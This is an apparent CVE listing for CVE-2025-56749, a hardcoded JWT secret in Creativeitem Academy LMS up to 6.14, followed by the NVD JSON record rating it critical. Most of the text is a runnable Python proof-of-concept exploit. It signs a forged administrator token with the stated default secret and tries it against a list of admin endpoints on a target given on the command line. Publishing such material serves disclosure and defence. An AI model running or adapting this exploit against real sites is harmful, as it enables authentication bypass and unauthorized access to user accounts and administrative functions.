CVE-2025-56749

#!/usr/bin/env python3 # CVE-2025-56749 - Academy LMS Hardcoded JWT Secret Exploit # This PoC demonstrates how to forge a valid JWT token using the hardcoded secret import jwt # PyJWT library: pip install pyjwt import requests import json import sys # The hardcoded JWT secret used by Academy LMS <= 6.14 HARDCODED_SECRET = "academy_lms_secret_key" # Default/known hardcoded secret TARGET_URL = "http://target-academy-lms.com" # Step 1: Forge a JWT token for an admin user def forge_admin_token(): """ Forge a JWT token impersonating an administrator account. The payload structure may vary based on the application implementation. """ payload = { "id": 1, # Admin user ID "email": "[email protected]", "role": "admin", "user_type": "admin", "iat": 1697356800, # Issued at timestamp "exp": 9999999999 # Far future expiration } # Sign the token using the hardcoded secret forged_token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") print(f"[+] Forged admin JWT token:\n{forged_token}\n") return forged_token # Step 2: Use the forged token to access protected endpoints def exploit_with_token(token, target_url): """ Use the forged JWT token to access admin-only endpoints. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to access admin dashboard admin_endpoints = [ "/admin/dashboard", "/admin/users", "/admin/settings", "/api/admin/profile", "/dashboard" ] for endpoint in admin_endpoints: url = f"{target_url}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS - Accessed: {url}") print(f" Status: {response.status_code}") print(f" Response preview: {response.text[:200]}\n") return True else: print(f"[-] Failed ({response.status_code}): {url}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] CVE-2025-56749 - Academy LMS JWT Secret Exploit") print(f"[*] Target: {target}\n") # Forge the admin token token = forge_admin_token() # Attempt exploitation success = exploit_with_token(token, target) if success: print("[+] Exploitation successful! Authentication bypassed.") else: print("[-] Exploitation failed. Target may be patched or unreachable.")

{"cve": {"id": "CVE-2025-56749", "sourceIdentifier": "[email protected]", "published": "2025-10-15T15:16:04.760", "lastModified": "2025-10-21T19:24:31.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Creativeitem Academy LMS up to and including 6.14 uses a hardcoded default JWT secret for token signing. This predictable secret allows attackers to forge valid JWT tokens, leading to authentication bypass and unauthorized access to any user account."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.14", "matchCriteriaId": "4C823EC6-6BB1-4BEA-B02B-88603C089803"}]}]}], "references": [{"url": "https://suryadina.com/academy-lms-jwt-secret-7k9m2x4p8q/", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}